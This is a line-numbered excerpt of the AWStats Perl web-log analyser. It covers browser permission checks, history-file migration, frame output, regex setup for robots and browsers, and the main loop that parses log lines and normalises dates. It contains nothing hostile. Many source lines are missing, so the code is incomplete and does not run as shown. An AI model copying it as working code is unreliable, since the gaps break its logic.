if ( ( $UpdateStats || $MigrateStats )
10196
&& ( !$AllowToUpdateStatsFromBrowser )
10197
&& $ENV{'GATEWAY_INTERFACE'} )
10200
. ( $UpdateStats ? "Update" : "Migrate" )
10201
. " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
10204
if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
10205
if ( !$AllowFullYearView ) {
10207
"Full year view has not been allowed (AllowFullYearView is set to 0)."
10210
if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
10212
"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
10217
#------------------------------------------
10218
# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
10219
#------------------------------------------
10220
if ($MigrateStats) {
10221
if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
10222
if ( $MigrateStats !~
10223
/^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
10226
"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
10231
$MonthRequired = "$2";
10232
$YearRequired = "$3";
10233
$DayRequired = "$4";
10234
$HourRequired = "$5";
10235
$FileSuffix = "$6";
10238
if ( !$DirData || $DirData =~ /^\./ ) {
10239
if ( !$DirData || $DirData eq '.' ) {
10241
} # If not defined or chosen to '.' value then DirData is current dir
10242
elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
10244
$DirData ||= '.'; # If current dir not defined then we put it to '.'
10245
$DirData =~ s/[\\\/]+$//;
10246
print "Start migration for file '$MigrateStats'.";
10247
print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
10248
if ($EnableLockForUpdate) { &Lock_Update(1); }
10250
&Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
10251
$HourRequired, 1, 0, 'all' );
10252
if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
10253
unlink "$newhistory";
10255
"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
10257
$ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
10259
. " or file might be opened."
10262
if ($EnableLockForUpdate) { &Lock_Update(0); }
10263
print "Migration for file '$MigrateStats' successful.";
10264
print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
10269
# Output main frame page and exit. This must be after the security check.
10270
if ( $FrameName eq 'index' ) {
10272
# Define the NewLinkParams for main chart
10273
my $NewLinkParams = ${QueryString};
10274
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
10275
$NewLinkParams =~ s/(&|&)+/&/i;
10276
$NewLinkParams =~ s/^&//;
10277
$NewLinkParams =~ s/&$//;
10278
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
10280
# Exit if main frame
10281
print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
10282
print "<frame name=\"mainleft\" src=\""
10283
. XMLEncode("$AWScript?${NewLinkParams}framename=mainleft")
10284
. "\" noresize=\"noresize\" frameborder=\"0\" />\n";
10285
print "<frame name=\"mainright\" src=\""
10286
. XMLEncode("$AWScript?${NewLinkParams}framename=mainright")
10287
. "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
10288
print "<noframes><body>";
10289
print "Your browser does not support frames.<br />\n";
10290
print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
10291
print "to see your reports.<br />\n";
10292
print "</body></noframes>\n";
10293
print "</frameset>\n";
10299
"01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
10300
"04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
10301
"07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
10302
"10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
10305
# Build ListOfYears list with all existing years
10307
$lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
10308
$lasthourbeforeupdate, $lastdatebeforeupdate
10310
= ( 0, 0, 0, 0, 0 );
10312
if ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; }
10313
elsif ( $DatabaseBreak eq 'year' ) { $datemask = '(\d\d\d\d)'; }
10314
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; }
10315
elsif ( $DatabaseBreak eq 'hour' ) {
10316
$datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)';
10321
"Scan for last history files into DirData='$DirData' with mask='$datemask'"
10324
opendir( DIR, "$DirData" );
10325
my $regfilesuffix = quotemeta($FileSuffix);
10326
foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
10327
file_filt sort readdir DIR )
10329
/^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
10330
if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
10332
# ListOfYears contains max month found
10333
$ListOfYears{"$2"} = "$1";
10335
my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" );
10336
if ( $rangestring gt $lastdatebeforeupdate ) {
10338
# We are on a new max for mask
10339
$lastyearbeforeupdate = ( $2 || "" );
10340
$lastmonthbeforeupdate = ( $1 || "" );
10341
$lastdaybeforeupdate = ( $3 || "" );
10342
$lasthourbeforeupdate = ( $4 || "" );
10343
$lastdatebeforeupdate = $rangestring;
10348
# If at least one file found, get value for LastLine
10349
if ($lastyearbeforeupdate) {
10351
# Read 'general' section of last history file for LastLine
10352
&Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
10353
$lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
10356
# Warning if lastline in future
10357
if ( $LastLine > ( $nowtime + 20000 ) ) {
10359
"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files."
10364
if ( $QueryString =~ /lastline=(\d{14})/i ) {
10369
"Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
10370
debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
10371
debug("LastLine=$LastLine");
10372
debug("LastLineNumber=$LastLineNumber");
10373
debug("LastLineOffset=$LastLineOffset");
10374
debug("LastLineChecksum=$LastLineChecksum");
10380
#------------------------------------------
10382
#------------------------------------------
10383
my $lastlinenb = 0;
10384
my $lastlineoffset = 0;
10385
my $lastlineoffsetnext = 0;
10387
if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); }
10388
if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' )
10389
{ # Update only on index page or when not framed to avoid update twice
10392
"Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
10393
"mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
10394
"Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
10395
"aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
10396
"Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
10398
; # MonthNum must be in english because used to translate log date in apache log files
10400
if ( !scalar keys %HTMLOutput ) {
10402
"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
10403
print "From data in log file \"$LogFile\"...\n";
10406
my $lastprocessedyear = $lastyearbeforeupdate || 0;
10407
my $lastprocessedmonth = $lastmonthbeforeupdate || 0;
10408
my $lastprocessedday = $lastdaybeforeupdate || 0;
10409
my $lastprocessedhour = $lasthourbeforeupdate || 0;
10410
my $lastprocesseddate = '';
10411
if ( $DatabaseBreak eq 'month' ) {
10412
$lastprocesseddate =
10413
sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth );
10415
elsif ( $DatabaseBreak eq 'year' ) {
10416
$lastprocesseddate = sprintf( "%04i%", $lastprocessedyear );
10418
elsif ( $DatabaseBreak eq 'day' ) {
10419
$lastprocesseddate = sprintf( "%04i%02i%02i",
10420
$lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
10422
elsif ( $DatabaseBreak eq 'hour' ) {
10423
$lastprocesseddate = sprintf(
10424
"%04i%02i%02i%02i",
10425
$lastprocessedyear, $lastprocessedmonth,
10426
$lastprocessedday, $lastprocessedhour
10432
# Init RobotsSearchIDOrder required for update process
10434
if ( $LevelForRobotsDetection >= 1 ) {
10435
foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; }
10436
push @list, "listgen"; # Always added
10438
foreach my $key (@list) {
10439
push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"};
10443
. @{"RobotsSearchIDOrder_$key"}
10444
. " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",
10451
"RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
10456
# Init SearchEnginesIDOrder required for update process
10458
if ( $LevelForSearchEnginesDetection >= 1 ) {
10459
foreach ( 1 .. $LevelForSearchEnginesDetection ) {
10460
push @list, "list$_";
10462
push @list, "listgen"; # Always added
10464
foreach my $key (@list) {
10465
push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"};
10469
. @{"SearchEnginesSearchIDOrder_$key"}
10470
. " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",
10477
"SearchEnginesSearchIDOrder has now "
10478
. @SearchEnginesSearchIDOrder
10484
# Complete HostAliases array
10485
my $sitetoanalyze = quotemeta( lc($SiteDomain) );
10486
if ( !@HostAliases ) {
10488
"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
10490
push @HostAliases, qr/^$sitetoanalyze$/i;
10491
push @HostAliases, qr/^localhost$/i;
10492
push @HostAliases, qr/^127\.0\.0\.1$/i;
10495
unshift @HostAliases, qr/^$sitetoanalyze$/i;
10496
} # Add SiteDomain as first value
10499
@HostAliases = &OptimizeArray( \@HostAliases, 1 );
10501
debug( "HostAliases precompiled regex list is now @HostAliases", 1 );
10503
@SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
10506
"SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
10510
@SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
10512
debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 );
10514
@SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
10516
debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
10519
@SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
10521
debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
10524
@SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
10526
debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 );
10528
@OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 );
10530
debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 );
10532
@OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 );
10534
debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 );
10536
@OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
10538
debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
10541
@OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
10543
debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 );
10545
@NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive );
10547
debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 );
10550
# Precompile the regex search strings with qr
10551
@RobotsSearchIDOrder = map { qr/$_/i } @RobotsSearchIDOrder;
10552
@WormsSearchIDOrder = map { qr/$_/i } @WormsSearchIDOrder;
10553
@BrowsersSearchIDOrder = map { qr/$_/i } @BrowsersSearchIDOrder;
10554
@OSSearchIDOrder = map { qr/$_/i } @OSSearchIDOrder;
10555
@SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder;
10556
my $miscquoted = quotemeta("$MiscTrackerUrl");
10557
my $defquoted = quotemeta("/$DefaultFile[0]");
10558
my $sitewithoutwww = lc($SiteDomain);
10559
$sitewithoutwww =~ s/www\.//;
10560
$sitewithoutwww = quotemeta($sitewithoutwww);
10562
# Define precompiled regex
10563
my $regmisc = qr/^$miscquoted/;
10564
my $regfavico = qr/\/favicon\.ico$/i;
10565
my $regrobot = qr/\/robots\.txt$/i;
10566
my $regtruncanchor = qr/#(\w*)$/;
10567
my $regtruncurl = qr/([$URLQuerySeparators])(.*)$/;
10568
my $regext = qr/\.(\w{1,6})$/;
10570
if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
10571
else { $regdefault = qr/$defquoted$/; }
10572
my $regipv4 = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
10573
my $regipv4l = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
10574
my $regipv6 = qr/^[0-9A-F]*:/i;
10575
my $regvermsie = qr/msie([+_ ]|)([\d\.]*)/i;
10576
my $regvernetscape = qr/netscape.?\/([\d\.]*)/i;
10577
my $regverfirefox = qr/firefox\/([\d\.]*)/i;
10578
my $regveropera = qr/opera\/([\d\.]*)/i;
10579
my $regversafari = qr/safari\/([\d\.]*)/i;
10580
my $regversafariver = qr/version\/([\d\.]*)/i;
10581
my $regverchrome = qr/chrome\/([\d\.]*)/i;
10582
my $regverkonqueror = qr/konqueror\/([\d\.]*)/i;
10583
my $regversvn = qr/svn\/([\d\.]*)/i;
10584
my $regvermozilla = qr/mozilla(\/|)([\d\.]*)/i;
10585
my $regnotie = qr/webtv|omniweb|opera/i;
10586
my $regnotnetscape = qr/gecko|compatible|opera|galeon|safari|charon/i;
10587
my $regnotfirefox = qr/flock/i;
10588
my $regnotsafari = qr/android|arora|chrome|shiira/i;
10589
my $regreferer = qr/^(\w+):\/\/([^\/:]+)(:\d+|)/;
10590
my $regreferernoquery = qr/^([^$URLQuerySeparators]+)/;
10591
my $reglocal = qr/^(www\.|)$sitewithoutwww/i;
10592
my $regget = qr/get|out/i;
10593
my $regsent = qr/sent|put|in/i;
10595
# Define value of $pos_xxx, @fieldlib, $PerlParsingFormat
10596
&DefinePerlParsingFormat($LogFormat);
10598
# Load DNS Cache Files
10599
#------------------------------------------
10601
&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 )
10602
; # Load with save into a second plugin file if plugin enabled and second file not up to date. No use of FileSuffix
10603
if ( $DNSLookup == 1 ) { # System DNS lookup required
10604
#if (! eval("use Socket;")) { error("Failed to load perl module Socket."); }
10606
&Read_DNS_Cache( \%TmpDNSLookup, "$DNSLastUpdateCacheFile",
10608
; # Load with no save into a second plugin file. Use FileSuffix
10613
#------------------------------------------
10615
if ($EnableLockForUpdate) {
10617
# Trap signals to remove lock
10618
$SIG{INT} = \&SigHandler; # 2
10619
#$SIG{KILL} = \&SigHandler; # 9
10620
#$SIG{TERM} = \&SigHandler; # 15
10621
# Set AWStats update lock
10626
debug("Start Update process (lastprocesseddate=$lastprocesseddate)");
10630
if ($Debug) { debug("Open log file \"$LogFile\""); }
10631
open( LOG, "$LogFile" )
10632
|| error("Couldn't open server log file \"$LogFile\" : $!");
10634
; # Avoid premature EOF due to log files corrupted with \cZ or bin chars
10636
# Define local variables for loop scan
10638
my $counterforflushtest = 0;
10639
my $qualifdrop = '';
10640
my $countedtraffic = 0;
10642
# Reset chrono for benchmark (first call to GetDelaySinceStart)
10643
&GetDelaySinceStart(1);
10644
if ( !scalar keys %HTMLOutput ) {
10645
print "Phase 1 : First bypass old records, searching new record...\n";
10648
# Can we try a direct seek access in log ?
10650
if ( $LastLine && $LastLineNumber && $LastLineOffset && $LastLineChecksum )
10653
# Try a direct seek access to save time
10656
"Try a direct access to LastLine=$LastLine, LastLineNumber=$LastLineNumber, LastLineOffset=$LastLineOffset, LastLineChecksum=$LastLineChecksum"
10659
seek( LOG, $LastLineOffset, 0 );
10660
if ( $line = <LOG> ) {
10663
@field = map( /$PerlParsingFormat/, $line );
10666
foreach ( 0 .. @field - 1 ) {
10667
$string .= "$fieldlib[$_]=$field[$_] ";
10670
debug( " Read line after direct access: $string", 1 );
10673
my $checksum = &CheckSum($line);
10676
" LastLineChecksum=$LastLineChecksum, Read line checksum=$checksum",
10680
if ( $checksum == $LastLineChecksum ) {
10681
if ( !scalar keys %HTMLOutput ) {
10683
"Direct access after last parsed record (after line $LastLineNumber)\n";
10685
$lastlinenb = $LastLineNumber;
10686
$lastlineoffset = $LastLineOffset;
10687
$lastlineoffsetnext = tell LOG;
10691
if ( !scalar keys %HTMLOutput ) {
10693
"Direct access to last remembered record has fallen on another record.\nSo searching new records from beginning of log file...\n";
10696
$lastlineoffset = 0;
10697
$lastlineoffsetnext = 0;
10702
if ( !scalar keys %HTMLOutput ) {
10704
"Direct access to last remembered record is out of file.\nSo searching it from beginning of log file...\n";
10707
$lastlineoffset = 0;
10708
$lastlineoffsetnext = 0;
10714
# No try of direct seek access
10715
if ( !scalar keys %HTMLOutput ) {
10716
print "Searching new records from beginning of log file...\n";
10719
$lastlineoffset = 0;
10720
$lastlineoffsetnext = 0;
10724
# Loop on each log line
10726
while ( $line = <LOG> ) {
10728
# 20080525 BEGIN Patch to test if first char of $line = hex "00" then conclude corrupted with binary code
10730
$FirstHexChar = sprintf( "%02X", ord( substr( $line, 0, 1 ) ) );
10731
if ( $FirstHexChar eq '00' ) {
10732
$NbOfLinesCorrupted++;
10733
if ($ShowCorrupted) {
10734
print "Corrupted record line "
10735
. ( $lastlinenb + $NbOfLinesParsed )
10736
. " (record starts with hex 00; binary code): $line\n";
10738
if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
10739
&& $NbOfLinesParsed == $NbOfLinesCorrupted )
10741
error( "Format error", $line, $LogFile );
10742
} # Exit with format error
10749
if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; }
10750
$NbOfLinesParsed++;
10752
$lastlineoffset = $lastlineoffsetnext;
10753
$lastlineoffsetnext = tell LOG;
10756
if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) {
10757
my $delay = &GetDelaySinceStart(0);
10758
print "$NbOfLinesParsed lines processed ("
10759
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
10761
1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 )
10763
. " lines/second)\n";
10767
if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) {
10768
my @fixField = map( /^#Fields: (.*)/, $line );
10769
if ( $fixField[0] !~ /s-kernel-time/ ) {
10770
debug( "Found new log format: '" . $fixField[0] . "'", 1 );
10771
&DefinePerlParsingFormat( $fixField[0] );
10775
# Parse line record to get all required fields
10776
if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) {
10777
$NbOfLinesCorrupted++;
10778
if ($ShowCorrupted) {
10779
if ( $line =~ /^#/ || $line =~ /^!/ ) {
10780
print "Corrupted record line "
10781
. ( $lastlinenb + $NbOfLinesParsed )
10782
. " (comment line): $line\n";
10784
elsif ( $line =~ /^\s*$/ ) {
10785
print "Corrupted record line "
10786
. ( $lastlinenb + $NbOfLinesParsed )
10787
. " (blank line)\n";
10790
print "Corrupted record line "
10791
. ( $lastlinenb + $NbOfLinesParsed )
10792
. " (record format does not match LogFormat parameter): $line\n";
10795
if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog
10796
&& $NbOfLinesParsed == $NbOfLinesCorrupted )
10798
error( "Format error", $line, $LogFile );
10799
} # Exit with format error
10800
if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only
10806
foreach ( 0 .. @field - 1 ) {
10807
$string .= "$fieldlib[$_]=$field[$_] ";
10811
" Correct format line "
10812
. ( $lastlinenb + $NbOfLinesParsed )
10819
# Drop wrong virtual host name
10820
#----------------------------------------------------------------------
10821
if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) {
10823
foreach (@HostAliases) {
10824
if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; }
10827
$NbOfLinesDropped++;
10828
if ($ShowDropped) {
10830
"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n";
10836
# Drop wrong method/protocol
10837
#---------------------------
10838
if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; }
10842
$field[$pos_method] eq 'GET'
10843
|| $field[$pos_method] eq 'POST'
10844
|| $field[$pos_method] eq 'HEAD'
10845
|| $field[$pos_method] eq 'PROPFIND'
10846
|| $field[$pos_method] eq 'CHECKOUT'
10847
|| $field[$pos_method] eq 'LOCK'
10848
|| $field[$pos_method] eq 'PROPPATCH'
10849
|| $field[$pos_method] eq 'OPTIONS'
10850
|| $field[$pos_method] eq 'MKACTIVITY'
10851
|| $field[$pos_method] eq 'PUT'
10852
|| $field[$pos_method] eq 'MERGE'
10853
|| $field[$pos_method] eq 'DELETE'
10854
|| $field[$pos_method] eq 'REPORT'
10855
|| $field[$pos_method] eq 'MKCOL'
10856
|| $field[$pos_method] eq 'COPY'
10857
|| $field[$pos_method] eq 'RPC_IN_DATA'
10858
|| $field[$pos_method] eq 'RPC_OUT_DATA'
10859
|| $field[$pos_method] eq 'OK' # Webstar
10860
|| $field[$pos_method] eq 'ERR!' # Webstar
10861
|| $field[$pos_method] eq 'PRIV' # Webstar
10866
# HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE
10869
( $LogType eq 'W' || $LogType eq 'S' )
10870
&& ( $field[$pos_method] eq 'GET'
10871
|| $field[$pos_method] eq 'mms'
10872
|| $field[$pos_method] eq 'rtsp'
10873
|| $field[$pos_method] eq 'http'
10874
|| $field[$pos_method] eq 'RTP' )
10878
# Streaming request (windows media server, realmedia or darwin streaming server)
10880
elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) {
10882
# Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor)
10886
&& ( $field[$pos_method] eq 'RETR'
10887
|| $field[$pos_method] eq 'o'
10888
|| $field[$pos_method] =~ /$regget/o )
10896
&& ( $field[$pos_method] eq 'STOR'
10897
|| $field[$pos_method] eq 'i'
10898
|| $field[$pos_method] =~ /$regsent/o )
10905
$NbOfLinesDropped++;
10906
if ($ShowDropped) {
10908
"Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n";
10913
$field[$pos_date] =~
10914
tr/,-\/ \t/:::::/s; # " \t" is used instead of "\s" not known with tr
10916
split( /:/, $field[$pos_date] )
10917
; # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date])
10918
# Detected date format: dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS,
10919
# DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS
10920
if ( !$dateparts[1] ) { # Unix timestamp
10922
$dateparts[5], $dateparts[4], $dateparts[3],
10923
$dateparts[0], $dateparts[1], $dateparts[2]
10925
= localtime( int( $field[$pos_date] ) );
10927
$dateparts[2] += 1900;
10929
elsif ( $dateparts[0] =~ /^....$/ ) {
10930
my $tmp = $dateparts[0];
10931
$dateparts[0] = $dateparts[2];
10932
$dateparts[2] = $tmp;
10934
elsif ( $field[$pos_date] =~ /^..:..:..:/ ) {
10935
$dateparts[2] += 2000;
10936
my $tmp = $dateparts[0];
10937
$dateparts[0] = $dateparts[1];
10938
$dateparts[1] = $tmp;
10940
elsif ( $dateparts[0] =~ /^...$/ ) {
10941
my $tmp = $dateparts[0];
10942
$dateparts[0] = $dateparts[1];
10943
$dateparts[1] = $tmp;
10944
$tmp = $dateparts[5];
10945
$dateparts[5] = $dateparts[4];
10946
$dateparts[4] = $dateparts[3];
10947
$dateparts[3] = $dateparts[2];
10948
$dateparts[2] = $tmp || $nowyear;
10950
if ( exists( $MonthNum{ $dateparts[1] } ) ) {
10951
$dateparts[1] = $MonthNum{ $dateparts[1] };
10952
} # Change lib month in num month if necessary
10953
if ( $dateparts[1] <= 0 )
10954
{ # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file)
10955
$NbOfLinesCorrupted++;
10956
if ($ShowCorrupted) {
10957
print "Corrupted record line "
10958
. ( $lastlinenb + $NbOfLinesParsed )
10959
. " (bad date format for month, may be month are not in english ?): $line\n";
10964
# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS
10965
if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) {
10966
@dateparts = ChangeTime_timezone( \@dateparts );
10968
my $yearrecord = int( $dateparts[2] );
10969
my $monthrecord = int( $dateparts[1] );
10970
my $dayrecord = int( $dateparts[0] );
10971
my $hourrecord = int( $dateparts[3] );
10972
my $daterecord = '';
10973
if ( $DatabaseBreak eq 'month' ) {
10974
$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
10976
elsif ( $DatabaseBreak eq 'year' ) {
10977
$daterecord = sprintf( "%04i%", $yearrecord );
10979
elsif ( $DatabaseBreak eq 'day' ) {
10981
sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord );
10983
elsif ( $DatabaseBreak eq 'hour' ) {
10984
$daterecord = sprintf( "%04i%02i%02i%02i",
10985
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
10988
# TODO essayer de virer yearmonthrecord
10989
my $yearmonthdayrecord =
10990
sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] );
10992
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
10993
$dateparts[4] ) * 100 + $dateparts[5];
10996
#-----------------------
10997
if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) {
10999
# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future
11001
if ( $DatabaseBreak eq 'month' ) {
11002
$daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord );
11004
elsif ( $DatabaseBreak eq 'year' ) {
11005
$daterecord = sprintf( "%04i%", $yearrecord );
11007
elsif ( $DatabaseBreak eq 'day' ) {
11008
$daterecord = sprintf( "%04i%02i%02i",
11009
$yearrecord, $monthrecord, $dayrecord );
11011
elsif ( $DatabaseBreak eq 'hour' ) {
11012
$daterecord = sprintf( "%04i%02i%02i%02i",
11013
$yearrecord, $monthrecord, $dayrecord, $hourrecord );
11016
# TODO essayer de virer yearmonthrecord
11017
$yearmonthdayrecord =
11018
sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] );
11020
( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 +
11021
$dateparts[4] ) * 100 + $dateparts[5];
11023
if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) {
11024
$NbOfLinesCorrupted++;
11025
if ($ShowCorrupted) {
11027
"Corrupted record (invalid date, timerecord=$timerecord): $line\n";
11029
next; # Should not happen, kept in case of parasite/corrupted line
11031
if ($NewLinePhase) {
11033
# TODO NOTSORTEDRECORDTOLERANCE does not work around midnight
11034
if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) {
11036
# Should not happen, kept in case of parasite/corrupted old line
11037
$NbOfLinesCorrupted++;
11038
if ($ShowCorrupted) {
11040
"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n";
11046
if ( $timerecord <= $LastLine ) { # Already processed
11051
# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now)
11052
$NewLinePhase = 1; # We will never enter here again
11054
if ( $NbOfLinesShowsteps > 1
11055
&& ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) )
11057
my $delay = &GetDelaySinceStart(0);
11059
. ( $NbOfLinesParsed - 1 )
11060
. " lines processed ("
11061
. ( $delay > 0 ? $delay : 1000 ) . " ms, "
11062
. int( 1000 * ( $NbOfLinesShowsteps - 1 ) /
11063
( $delay > 0 ? $delay : 1000 ) )
11064
. " lines/second)\n";
11066
&GetDelaySinceStart(1);
11067
$NbOfLinesShowsteps = 1;
11069
if ( !scalar keys %HTMLOutput ) {
11071
"Phase 2 : Now process new records (Flush history on disk after "
11072
. ( $LIMITFLUSH << 2 )
11075
#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n";
11079
# Convert URL for Webstar to common URL
11080
if ( $LogFormat eq '3' ) {
11081
$field[$pos_url] =~ s/:/\//g;
11082
if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; }
11085
# Here, field array, timerecord and yearmonthdayrecord are initialized for log record
11087
debug( " This is a not already processed record ($timerecord)",
11091
# We found a new line
11092
#----------------------------------------
11093
if ( $timerecord > $LastLine ) {
11094
$LastLine = $timerecord;
11095
} # Test should always be true except with not sorted log files
11097
# Skip for some client host IP addresses, some URLs, other URLs
11100
&& ( &SkipHost( $field[$pos_host] )
11101
|| ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) )
11105
"Dropped record (host $field[$pos_host]"
11106
. ( $pos_hostr ? " and $field[$pos_hostr]" : "" )
11107
. " not qualified by SkipHosts)";
11109
elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) {
11111
"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)";
11113
elsif (@SkipUserAgents
11115
&& &SkipUserAgent( $field[$pos_agent] ) )
11118
"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)";
11120
elsif (@SkipReferrers
11121
&& $pos_referer >= 0
11122
&& &SkipReferrer( $field[$pos_referer] ) )
11125
